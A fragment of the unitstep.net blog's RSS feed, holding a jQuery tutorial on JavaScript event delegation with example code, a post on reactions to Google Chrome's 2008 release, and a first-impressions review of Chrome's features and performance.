<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/03/23/javascript-functions-first-class-objects/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JavaScript Event Delegation</title>
		<link>http://unitstep.net/blog/2009/02/19/javascript-event-delegation/</link>
		<comments>http://unitstep.net/blog/2009/02/19/javascript-event-delegation/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 03:47:44 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[events]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[user interface]]></category>
		<category><![CDATA[XHTML]]></category>
		<category><![CDATA[event delegation]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=720</guid>
		<description><![CDATA[JavaScript Event Delegation is a technique you may have heard of. It&#8217;s a different way of using event handlers that offers clear benefits and is becoming more popular amongst web developers. I&#8217;ll give a brief overview of event delegation in JavaScript, along with why you should consider it. Note that this tutorial will use the [...]]]></description>
			<content:encoded><![CDATA[<p>JavaScript Event Delegation is a technique you may have <a href="http://www.danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery">heard of</a>.  It&#8217;s a different way of using event handlers that offers clear benefits and is becoming more popular amongst web developers.  I&#8217;ll give a brief overview of event delegation in JavaScript, along with why you should consider it.  Note that this tutorial will use the great <a href="http://jquery.com">jQuery</a> library (v. 1.3.1) for most examples.</p>
<h3>Delegation</h3>
<p><a href="http://en.wikipedia.org/wiki/Delegation_pattern">Delegation</a> is a fairly well-known design pattern.  In short, it is a way for a method to produce its result simply by calling a method on another object, thus <em>delegating</em> responsibility to that object to provide the functionality needed by the method.  For example, a <code>Cashier</code> object could store a delegate object called <code>Calculator</code>.  Calling <code>Cashier.addToTotal(value)</code> would simply delegate to the contained object, calling <code>Calculator.addToTotal(value)</code>.  </p>
<p>How is delegation different than <em>inheritance</em>?  With inheritance, the subclass inherits all of the functionality/behaviour of the parent class.  You may not want or need this; in the preceding example, it would not make sense to have <code>Cashier</code> extend from <code>Calculator</code> simply because we wanted the <code>addToTotal()</code> behaviour/functionality.  Delegation allows the behaviour advertised by a certain object/class to be provided by another.</p>
<h3>Traditional Event Handling</h3>
<p>In order to understand event delegation in JavaScript, we should first look briefly at how events are handled traditionally.  When I talk of <em>traditional event handling</em>, I am referring to the model that most will know.  In this model, functions are <strong>individually</strong> bound to events of certain elements.  For example, to make all links turn bold upon clicking them (and prevent them from being followed), we could use some JavaScript like this:</p>
<pre><code>window.onload = function()
{
  links = document.getElementsByTagName('a');
  for (var i = 0; i &lt; links.length; ++i)
  {
    links[i].onclick = makeBold;
  }

}

function makeBold()
{
  this.style.fontWeight = 'bold';
  return false;
}</code></pre>
<p>The key point with this example is that the function <code>makeBold()</code>, our <em>event handler</em>, is <strong>bound to each and every</strong> <code>a</code> element.  From a resource point of view, this is may be a bad thing because the more event handlers that are attached, the more memory that is used, in general.</p>
<p>Of course, I promised I&#8217;d be using jQuery, and doing so cleans up the above code substantially, as well as making it cross-browser compatible: (Besides adding a ton of other abilities and making life easier)</p>
<pre><code>jQuery(function()
{
  jQuery('a').click(makeBold);
});

function makeBold(e)
{
  e.preventDefault();
  jQuery(this).css('font-weight', 'bold');
}</code></pre>
<p>While this code is cleaner, it still does basically the same thing as above, that is, the event handler function <code>makeBold()</code> is bound to <strong>each</strong> matched element, that is, each <code>a</code> element.</p>
<p>As a final note, don&#8217;t confuse my use of the term <em>traditional</em> with <a href="http://www.quirksmode.org/">Peter-Paul Koch&#8217;s</a> excellent guide to JavaScript event registration, where he uses the term <a href="http://www.quirksmode.org/js/events_tradmod.html"><em>traditional</em> to refer to one <em>method</em> of event registration</a>, distinct from inline registration and the later <a href="http://www.w3.org/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="World Wide Web Consortium">W3C</acronym></a> and Microsoft &#8220;Advanced&#8221; event registration models.</p>
<h3>Event handling using delegation</h3>
<p>By contrast, <strong>event delegation</strong> uses a single (or comparatively few) event handlers to implement the behaviour required.  This takes advantage of two key features of JavaScript events, namely <strong><a href="http://www.quirksmode.org/js/events_order.html#link3">event bubbling</a></strong> and the <strong><a href="http://docs.jquery.com/Events/jQuery.Event#event.target">target event</a></strong>.</p>
<p><strong>Event bubbling</strong> is a model for how events take place on the page.  It grew out of a need to resolve the order in which events were triggered on ancestor and descendant elements.  For example, assume that I have two event handlers, one attached to the &#8220;click&#8221; event of a <code>div</code> and another attached to the &#8220;click&#8221; event of an <code>a</code> element <strong>within</strong> that <code>div</code>.  If I click the <code>a</code> element, which event fires first?  Event bubbling is one way to solve that question: It states that the event on the <strong>inner</strong> element happens <em>first</em>, and then the event &#8220;bubbles&#8221; upwards to trigger events on ancestor or container elements.  There is another opposing model that works in the opposite way, but bubbling seems to be better supported and is more relevant for this article.</p>
<p>Here&#8217;s a crude diagram of event bubbling, using a pseudo-<a href="http://www.w3.org/TR/CSS21/box.html"><acronym class="uttInitialism" title="Cascading Style Sheets">CSS</acronym> box model</a> of sorts:</p>
<p class="image">
<img src="http://unitstep.net/wordpress/wp-content/uploads/2009/02/javascript-event-delegation.png" alt="Event Bubbling Diagram" title="Event Bubbling Diagram" width="302" height="228" class="size-full wp-image-747" /><br />
Event bubbling diagram
</p>
<p>The <strong>event target</strong> is the DOM element that issued the event, or the originating element.  This is why I believe it&#8217;s a confusing term, since it would make more sense to called it the <em>event source</em>.  But I digress.  The <a href="https://developer.mozilla.org/En/DOM/Event">event object</a>, passed to an event handler as an argument (or available via <code>window.event</code>, though jQuery normalizes this) contains a property, <code>event.target</code>, that allows you to get the reference to the &#8220;target&#8221; element that the event started bubbling up from.</p>
<h3>How it&#8217;s implemented</h3>
<p>All of this is typically accomplished by registering a single event handler to a &#8220;container&#8221; element that holds all of the elements we wish to react to events for.  When an event is triggered on one of the inner elements, it &#8220;bubbles up&#8221; to the container element, where it triggers the event handler function.  From there, we can inspect the source of the event (confusingly called the <em>event target</em>) and then react accordingly.</p>
<p>This is where the delegation aspect comes into play.  Since the container element may hold many inner elements, it is unlikely that we would want the same behaviour for each element when an event was triggered on it.  For example, we might want certain <code>a</code> elements to trigger one action when clicked, while wanting another set of <code>a</code> elements to trigger another action.  We&#8217;d typically differentiate these links by using separate class names or by context and then attaching event handlers as appropriate.</p>
<p>Using event delegation, process is similar, but instead of attaching multiple event handlers we have one on the overall parent element.  When this event handler is triggered, we determine which element triggered the event and then based on this, delegate the remainder of the processing to another function.  An example would be helpful now, as our previous examples with making some text bold weren&#8217;t too useful.  Here&#8217;s the <a href="http://www.w3.org/MarkUp/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="eXtensible HyperText Markup Language - HTML reformulated as XML">XHTML</acronym></a> fragment for the container and elements.</p>
<pre><code >&lt;div class="container"&gt;
&lt;ul class="top"&gt;
  &lt;li&gt;
    &lt;a href="#" class="expandList"&gt;Item A - Click to toggle&lt;/a&gt;
    &lt;ul class="hide"&gt;
      &lt;li&gt;Sub-item 1&lt;/li&gt;
      &lt;li&gt;Sub-item 2&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href="#" class="expandList"&gt;Item B - Click to toggle&lt;/a&gt;
    &lt;ul class="hide"&gt;
      &lt;li&gt;Sub-item 1&lt;/li&gt;
      &lt;li&gt;Sub-item 2&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href="#" class="remove"&gt;Item C - Click to remove&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#" class="remove"&gt;Item D - Click to remove&lt;/a&gt;&lt;/li&gt;
&lt;/div&gt;</code></pre>
<p>And here&#8217;s the JavaScript:</p>
<pre><code>jQuery(function()
{
  jQuery('div.container').click(handleEvent);
});

function handleEvent(e)
{
  // Obtain the source element through event.target.
  var target = jQuery(e.target);

  // Now decide what to do with it.
  if (target.is('a.expandList'))
  {
    // We use Function.call() to set the context for the `this` keyword.
    return expandList.call(target, e);
  }
  else if (target.is('a.remove'))
  {
    return remove.call(target, e);
  }
  else
  {
    // Otherwise, allow the default action to take place.
    return true;
  }
}

function expandList(e)
{
  e.preventDefault();

  // The `this` keyword now references the jQuery object representing the
  // target, since that is what we set the context to.
  jQuery(this).parent('li').find('ul.hide').slideToggle('fast');
}

function remove(e)
{
  e.preventDefault();
  jQuery(this).parent('li').fadeOut('normal', function(){jQuery(this).remove()});
}</code></pre>
<p>With this example, the steps are clearly outlined.  First, we attach the overall event handler to the container element; events that take place on its inner or children element will bubble up to it.  When an event is received, we inspect <code>event.target</code> to determine the origin and based on that, &#8220;hand off&#8221; to another function to carry out the proper behaviour. </p>
<p>With some standardization of the <acronym class="uttInitialism" title="Cascading Style Sheets">CSS</acronym> class names you use and the associated event handler function names, you can clean up this code to reduce duplication and turn it into a design pattern of sorts.  In fact, that&#8217;s <a href="http://www.danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery">exactly what Dan Webb has done</a>.</p>
<h3>More advantages of event delegation</h3>
<p>Besides potentially using less resources by having less event handlers bound, event delegation brings one other significant advantage: <strong>The ability to have event handlers &#8220;auto bind&#8221; to new DOM elements</strong>.  For example, let&#8217;s say we were to dynamically update the DOM and add more list items to our previous example; this sort of action happens frequently during Ajax operations where you want to present new content to the user.  </p>
<p>In the &#8220;traditional&#8221; event handling model, the new elements <strong>would not automatically respond to events</strong> as you would like.  This is because the events were individually bound to each element.  This is <a href="http://docs.jquery.com/Frequently_Asked_Questions#Why_do_my_events_stop_working_after_an_AJAX_request.3F">a well known problem</a>.  However, in event delegation, since there&#8217;s only one event handler bound to the <strong>container or ancestor element</strong>, the newly-created elements will respond to the event properly! This is because an event on them &#8220;bubbles&#8221; up to the container element just as for the original elements.</p>
<h3><a href="/projects/javascript-event-delegation/javascript-event-delegation.html">Demo of Event Delegation</a></h3>
<p>Perhaps <a href="/projects/javascript-event-delegation/javascript-event-delegation.html">a little demo</a> is needed.  With this demo, you can see both the implementation of event delegation as well as the effect of adding new elements.</p>
<h3>Drawbacks of event delegation</h3>
<p>I&#8217;ve already talked about some of the benefits (fewer bound event handlers, so less resources used and the ability to adapt with DOM changes), but it&#8217;s worthwhile to iterate over some of the drawbacks.  </p>
<ol>
<li>Firstly, not all elements &#8220;bubble up&#8221; in the way described.  The <code>blur</code>, <code>focus</code>, <code>change</code> and <code>submit</code> are notable exceptions so you will not be able to use event delegation with these events in the manner described in this article.</li>
<li>Furthermore, the code developed to maintain event delegation can be more complicated to understand than with just using the traditional model.  Indeed, there is an initial investment time everyone must make to get going.  This should obviously be considered since code maintenance is always important.</li>
<li>Because there&#8217;s one event handler being called for all events on inner/descendant elements, there can be some performance implications.  If you&#8217;re calling expensive functions within this event handler, the event processing could slow down significantly.  Careful optimization may be required.</li>
</ol>
<p>However, some of these drawbacks can be mitigated by using solutions developed by the jQuery community.  Even though event delegation is somewhat new, there are already plugins available that take a lot of the grunt-work out of event delegation, abstracting away the details and making things easier for you.  Even jQuery itself also supports event delegation through a built-in function as of v1.3.  Here are some options for pre-built solutions:</p>
<ul>
<li><a href="http://www.danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery">Dan Webb&#8217;s Delegate Plugin</a><br />
This is a fairly straightforward way to implement delegation and it&#8217;s easy to setup and understand.</li>
<li><a href="http://docs.jquery.com/Events/live#typefn">jQuery&#8217;s built in <code>live()</code> function</a><br />
This supports a subset of events but is good enough for most uses.</li>
<li><a href="http://plugins.jquery.com/project/livequery">The Live Query plugin</a><br />
This is your best bet if you need the most functionality, though I haven&#8217;t personally tried it out yet.</li>
</ul>
<h3>Conclusion</h3>
<p>Delegation nicely solves the problem of having to rebind events after adding new elements to the DOM.  For that reason alone, I&#8217;ve started to use in my work more often.  At its heart, it&#8217;s a useful design pattern, but should be only with full understanding of the pros and cons.  I hope you enjoyed reading this article!</p>
<h3>References</h3>
<ol class="note less">
<li><a href="http://www.danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery">Event Delegation Made Easy</a></li>
<li><a href="http://usabletype.com/weblog/event-delegation-without-javascript-library/">Event delegation without a JavaScript library</a></li>
<li><a href="http://www.sitepoint.com/blogs/2008/07/23/javascript-event-delegation-is-easier-than-you-think/">JavaScript Event Delegation is Easier than You Think</a></li>
<li><a href="http://docs.jquery.com/Frequently_Asked_Questions#Why_do_my_events_stop_working_after_an_AJAX_request.3F">Why do my events stop working after an <acronym class="uttAcronym" title="Asynchronous Javascript And XML">AJAX</acronym> request?</a></li>
</ol>
<h4>Revisions</h4>
<ul class="note less">
<li>2009-02-20: Added a crude diagram of event bubbling</li>
</ul>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/02/19/javascript-event-delegation/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Chrome fallout</title>
		<link>http://unitstep.net/blog/2008/09/04/chrome-fallout/</link>
		<comments>http://unitstep.net/blog/2008/09/04/chrome-fallout/#comments</comments>
		<pubDate>Thu, 04 Sep 2008 23:56:02 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[browsers]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[internet explorer]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[opera]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=435</guid>
		<description><![CDATA[Since Chrome&#8217;s official release some two days ago it certainly has gotten a lot of press, both positive and negative. What&#8217;s good On the positive side, there are some reports that Chrome&#8217;s market share has already surpassed that of Opera, coming in at close to 2.5% when I last checked. These results should be taken [...]]]></description>
			<content:encoded><![CDATA[<p>Since Chrome&#8217;s <a href="http://googleblog.blogspot.com/2008/09/google-chrome-now-live.html">official release</a> some two days ago it certainly has gotten a lot of press, both positive and negative.</p>
<h3>What&#8217;s good</h3>
<p>On the positive side, there are <a href="http://getclicky.com/global-marketshare-statistics">some reports</a> that Chrome&#8217;s market share has already surpassed that of Opera, coming in at close to 2.5% when I last checked.  These results should be taken with a grain of salt, as Clicky&#8217;s web analytics might only be used by websites that tend to be visited by those more technically-inclined and thus more likely to try out something like Chrome.  (Though Chrome&#8217;s visibility on Google&#8217;s main page no doubt has some small part in its fast growth)</p>
<p>For what it&#8217;s worth, Google Analytics on my lowly-trafficked site amounted to over 4% of hits in the past five days.  (Google Analytics has since <a href="http://analytics.blogspot.com/2008/09/chrome-now-showing-as-browser-type.html">started identifying Chrome</a> as a specific browser type, no surprise)</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-fallout-1.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-fallout-1-300x46.jpg" alt="Chrome browser share" title="google-chrome-fallout-1" width="300" height="46" class="size-medium wp-image-437" /></a><br />
Chrome browser share on my site
</p>
<h3>What&#8217;s iffy</h3>
<p>While the V8 JavaScript engine of Chrome was reported to be fast (myself included) Mozilla has fired back with <a href="http://arstechnica.com/journals/linux.ars/2008/09/03/new-firefox-javascript-engine-is-faster-than-chromes-v8">their own results</a> when compared to the upcoming Firefox 3.1, which also features a newer, faster JavaScript engine dubbed <a href="http://ejohn.org/blog/tracemonkey/">TraceMonkey</a>.</p>
<p>Even if this only manages to bring Firefox 3.1 to within striking distance of Chrome for JavaScript performance, it&#8217;ll still easily hand the win over to Firefox 3.1 considering its much larger established base and support for extensions/addons.</p>
<p>Microsoft, meanwhile, still seems to have their <a href="http://arstechnica.com/journals/microsoft.ars/2008/09/04/microsoft-in-response-to-chrome-users-will-still-want-ie8">heads in the sand</a> when it comes to IE.  True, IE7 still have a substantial margin on any other browser but that lead has been steadily sinking.  Though IE8 will likely be a vast improvement over IE7 and seeks to erase all memories of the abomination that was IE6, it looks like Microsoft will have its work cut out with the stiff competition from Firefox and Chrome.</p>
<h3>Problems</h3>
<p>The release was not without controversy, as since this product was from Google, many privacy concerns were voiced.  There were concerns about the &#8220;GoogleUpdate.exe&#8221; process that is installed with Chrome, which apparently allows for <a href="http://tech.slashdot.org/comments.pl?sid=952157&#038;threshold=1&#038;commentsort=1&#038;mode=thread&#038;cid=24859505">higher privileges to install software</a>, which understandably freaked out some users.  Generally, unwanted processes running in the background are just the thing the tinfoil-hat wearers are looking for.</p>
<p>Additionally, some keen-eyed users who perused the EULA discovered that Google had apparently tried to <a href="http://arstechnica.com/news.ars/post/20080903-google-on-chrome-eula-controversy-our-bad-well-change-it.html">claim ownership of all content posted</a> through Chrome.  (Who <em>actually</em> reads a EULA?)  Evidently, it was all a mishap, as Google quickly moved to <a href="http://googleblog.blogspot.com/2008/09/update-to-google-chromes-terms-of.html">correct the errors in the TOS</a>.  Apparently, in the rush to release Chrome, a &#8220;standard&#8221; TOS was used as the basis for the EULA, most likely similar to the ones covering services like Blogger, etc.</p>
<h3>My own experiences</h3>
<p>Personally, I&#8217;m very pleased with the browser.  The &#8220;application shortcut&#8221; feature is very nice as it makes web apps like Gmail integrate very nicely with the desktop.  I can&#8217;t wait to setup my Mom&#8217;s computer with shortcuts to things like Gmail that will undoubtedly make her life easier.</p>
<p>The JavaScript performance <em>is</em> very fast compared to other browsers, but some things like Flash are still buggy at times.  This has caused problems with sites like Google Finance (which uses Flash for the charts) and YouTube, which are ironically Google&#8217;s own services.</p>
<p>I guess the &#8220;Beta&#8221; tag and the lack of a full version number excuse these problems, though it looks as if the list of bugs is already quite extensive.  <a href="http://code.google.com/p/chromium/issues/list">Google&#8217;s bug tracker</a> for Chrome lists over a thousand bugs/feature requests currently, though likely many of them are duplicates.  (Google is, however, following the trend of using the &#8220;Beta&#8221; moniker in an increasingly loose manner)</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2008/09/04/chrome-fallout/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Google Chrome: What it offers</title>
		<link>http://unitstep.net/blog/2008/09/02/google-chrome-what-it-offers/</link>
		<comments>http://unitstep.net/blog/2008/09/02/google-chrome-what-it-offers/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 01:03:15 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[comparison]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[internet explorer]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[opera]]></category>
		<category><![CDATA[reviews]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[XHTML]]></category>
		<category><![CDATA[gears]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mozilla]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=411</guid>
		<description><![CDATA[After much speculation yesterday, marked by a leaked web comic and finally an acknowledgment by Google, Google Chrome, the much anticipated web browser, is here. I encourage you to download it and give it a try, as I did as soon as it came out. Here are some of my initial impressions. Overview Google released [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome.jpg" alt="Google Chrome" /></p>
<p>After much <a href="http://blogoscoped.com/archive/2008-09-01-n47.html">speculation yesterday</a>, marked by a <a href="http://www.google.com/googlebooks/chrome/index.html">leaked web comic</a> and finally an <a href="http://googleblog.blogspot.com/2008/09/fresh-take-on-browser.html">acknowledgment by Google</a>, <a href="http://www.google.com/chrome/intl/en/features.html">Google Chrome</a>, the much anticipated web browser, <a href="http://googleblog.blogspot.com/2008/09/google-chrome-now-live.html">is here</a>.</p>
<p>I encourage you to <a href="http://www.google.com/chrome/index.html">download it</a> and give it a try, as I did as soon as it came out.  Here are some of my initial impressions.</p>
<h3>Overview</h3>
<p>Google released a fairly long <a href="http://www.google.com/googlebooks/chrome/">web comic</a> that delves into quite a bit of detail about Chrome &#8211; it&#8217;s not your typical comic!  Touted as being built &#8220;from scratch&#8221;, Chrome uses the WebKit rendering engine, the same one that powers Safari and Konqueror.</p>
<p class="image"><a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-2.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-2-300x207.jpg" alt="" title="google-chrome-2" width="300" height="207" class="alignnone size-medium wp-image-420" /></a></p>
<p>The first thing you notice is how minimal the &#8220;Chrome&#8221; or UI of Chrome is.  If you&#8217;re used to a half-dozen toolbars, buttons and widgets all over the place, Chrome will seem like a greenfield to you.  By default, there is only a tab bar and then an address bar containing back, forward, a combined reload-stop button and the address bar.  There are also buttons for bookmarking a site and for page and browser settings.  The bookmarks bar is not displayed unless you specifically change that setting.</p>
<p>Keyboard shortcuts are also present so that you don&#8217;t have to click through context menus.  If you&#8217;re used to the keyboard shortcuts of Firefox and IE7 you&#8217;ll be pleased to know that most of them transfer over without change: Ctrl-T opens a new Tab, Ctrl-W/Ctrl-F4 closes a tab, Alt-D focuses the address bar and Ctrl-J opens Downloaded Files.</p>
<p>The address bar also functions as a search bar, and this combination just makes sense.  It&#8217;s something I&#8217;ve always been doing using <a href="http://lifehacker.com/software/geek-to-live/geek-to-live-fifteen-firefox-quick-searches-129658.php">Firefox Quick Searches</a></p>
<p>By default the home/start page is set to set to show an Opera-style &#8220;<a href="http://www.opera.com/support/tutorials/flash/speeddial/">Speed Dial</a>&#8221; page containing most recently-accessed pages/bookmarks.  You can also configure Chrome to restore the previous tabs/websites on startup, which is my personal preference ever since I started using Firefox.</p>
<h3>Features</h3>
<p>Chrome integrates Google Gears to speed up supporting web applications and is an obvious effort by Google to self-promote. This is substantial since the download link for Chrome is on the main Google search page &#8211; no small feat considering only the most popular/important services get that sort of attention and furthermore the link is positioned dead center beneath the search field.</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-3.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-3-300x210.jpg" alt="" title="google-chrome-3" width="300" height="210" class="alignnone size-medium wp-image-422" /></a><br />
The address/search bar
</p>
<p>Chrome allows for quasi-<a href="http://en.wikipedia.org/wiki/Site_Specific_Browser">Site-Specific Browsers</a> by use of &#8220;Application Shortcuts&#8221;, which can be set for any website but are meant to be used mainly with web applications.  These allow you to open the target <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> in a browser window that does not have the menu or address bars and essentially serves as a blank canvas upon which the web application&#8217;s own UI can be displayed.  </p>
<p>This is similar to other SSBs such as <a href="https://wiki.mozilla.org/Prism">Mozilla Prism</a> or <a href="http://fluidapp.com/">Fluid</a> for the Mac, as they aim to bridge the gap between desktop and web applications to make their integration more seamless.</p>
<p>However, like <a href="http://blogoscoped.com/archive/2008-09-01-n47.html">Google Blogoscoped points out</a>, using such non-browser interfaces may condition the user to be more lax when entering their credentials and makes phishing attempts more viable since no <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> is displayed.  This is curious since security, &#8220;sandboxing&#8221; and general safe browsing were so high on Chrome&#8217;s feature list &#8211; this feature seems to help undo some good user practices of always confirming the <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> before entering credentials. </p>
<p>There are also some nice little enhancements as well &#8211; the combined address bar/search bar is very much like Firefox 3&#8242;s &#8220;awesome bar&#8221;.  Chrome also allows you to dynamically resize any <code>textarea</code> element, without the site designer having to code this specifically in JavaScript or some other client-side technology.</p>
<h3>Performance</h3>
<p>Each tab/window is a separate process and thus will show up separately in Task Manager; Chrome also offers its own Task Manager but the memory usage reported here differs from that in the Windows Task Manager.  To get the full picture, you have to click on the &#8220;Stats for nerds&#8221; link, which takes you to <code>about:memory</code></p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-4.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-4-300x192.jpg" alt="" title="google-chrome-4" width="300" height="192" class="alignnone size-medium wp-image-424" /></a>
</p>
<p>This page displays the full memory usage details, and also, surprisingly, displays memory usage for any other web browsers also currently running! (I have confirmed that it will display Firefox 2/3, IE7 and Opera 9)</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-5.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-5-300x208.jpg" alt="" title="google-chrome-5" width="300" height="208" class="alignnone size-medium wp-image-425" /></a>
</p>
<p>Much talk has been made of this feature; indeed while it does use more resources, it also prevents a single site from bringing down the entire browser as only that tab/window will be affected.  To test this out, just terminate one of the instances of chrome.exe and you will see that tab&#8217;s screen into a &#8220;sad tab of death&#8221; with an amusing message.</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-1.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-1.jpg" alt="" title="google-chrome-1" width="346" height="313" class="alignnone size-full wp-image-415" /></a>
</p>
<h3>JavaScript</h3>
<p>Though JavaScript falls under the category of `Performance` I felt it deserves its own section because of the importance of JavaScript in web applications.  Chrome uses the Google-developed V8 JavaScript engine, which has also been <a href="http://code.google.com/apis/v8/">released as open source</a>.</p>
<p>The <a href="http://code.google.com/apis/v8/design.html">main points</a> of V8 are outlined at the Google Code page for the project, and are quite interesting.  One of the main improvements in performance is the use of a Virtual Machine (VM) for processing JavaScript.</p>
<p>The V8 Virtual Machine is different from say, the JVM (Java Virtual Machine) in that it compiles JavaScript source <em>directly to machine code</em>; there is no intermediate byte-code representation used and hence no interpreter is needed for this.  This seems to indicate that JavaScript performance might be faster on Chrome since there&#8217;s no intermediary. Google provides some <a href="http://code.google.com/apis/v8/benchmarks.html">benchmarks</a> to confirm this.</p>
<p>From some informal/unscientific preliminary testing, the V8 JavaScript engine in Chrome <em>does</em> appear to be quite fast; loading the same Digg topic in Firefox took longer than it did in Chrome. (Roughly 14 secs vs. 8 seconds over a few trials &#8211; and Chrome did not have the benefit of AdBlock Plus) I&#8217;d be <em>very</em> interested to see how Chrome stacks up against Firefox 3.1, considering the rumoured <a href="http://arstechnica.com/news.ars/post/20080822-firefox-to-get-massive-javascript-performance-boost.html">performance boosts</a> coming with it.</p>
<p>If Chrome has anything going for it, it&#8217;s definitely the lightning fast JavaScript performance.  Coupled with the crash-proofing this makes it ideal for use in web applications.</p>
<h3>Development</h3>
<p>Chrome comes with a nice DOM inspector reminiscent of Firebug.  Using it is dead simple; you just right click and select &#8220;Inspect Element&#8221; and the inspection window will pop up with the element highlighted.  Here you can see the full DOM tree as well as the computed <acronym class="uttInitialism" title="Cascading Style Sheets">CSS</acronym> styles for the element.  </p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-6.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-6-300x231.jpg" alt="" title="google-chrome-6" width="300" height="231" class="alignnone size-medium wp-image-427" /></a>
</p>
<p>There&#8217;s an included JavaScript console for executing code/commands/expressions on-the-fly and while there is a JavaScript debugger included, it seems at this time to be a command-line only tool, far less user-friendly than Firebug.</p>
<h3>Not ready for prime time yet?</h3>
<p>Of course, Chrome is marked as Beta by Google, something we&#8217;ve come to expect since Gmail has been in beta for longer than the company has been publicly traded.  Nonetheless, there are still some features that are sorely missed.</p>
<p>The one thing I absolutely love about Firefox is the vibrant developer community and subsequent widespread availability of quality, useful extensions.  This has produced such gems as the aforementioned <a href="https://addons.mozilla.org/en-US/firefox/addon/1843">Firebug</a> and <a href="http://adblockplus.org/en/">Adblock Plus</a>.  </p>
<p>For now, extensions/addons are not part of Chrome but may be added in a later version.  In the meantime I don&#8217;t think I&#8217;ll be even close to ready to switch, as I&#8217;m very stubborn.  I don&#8217;t use that many extensions but the few that I do are &#8220;must-haves&#8221; and I just can&#8217;t browse without them.  </p>
<p>Lastly, there are always privacy concerns, especially from a company as big an involved as Google.  Though you can turn off the sending of usage statistics, there will always be some with their tinfoil hats on.</p>
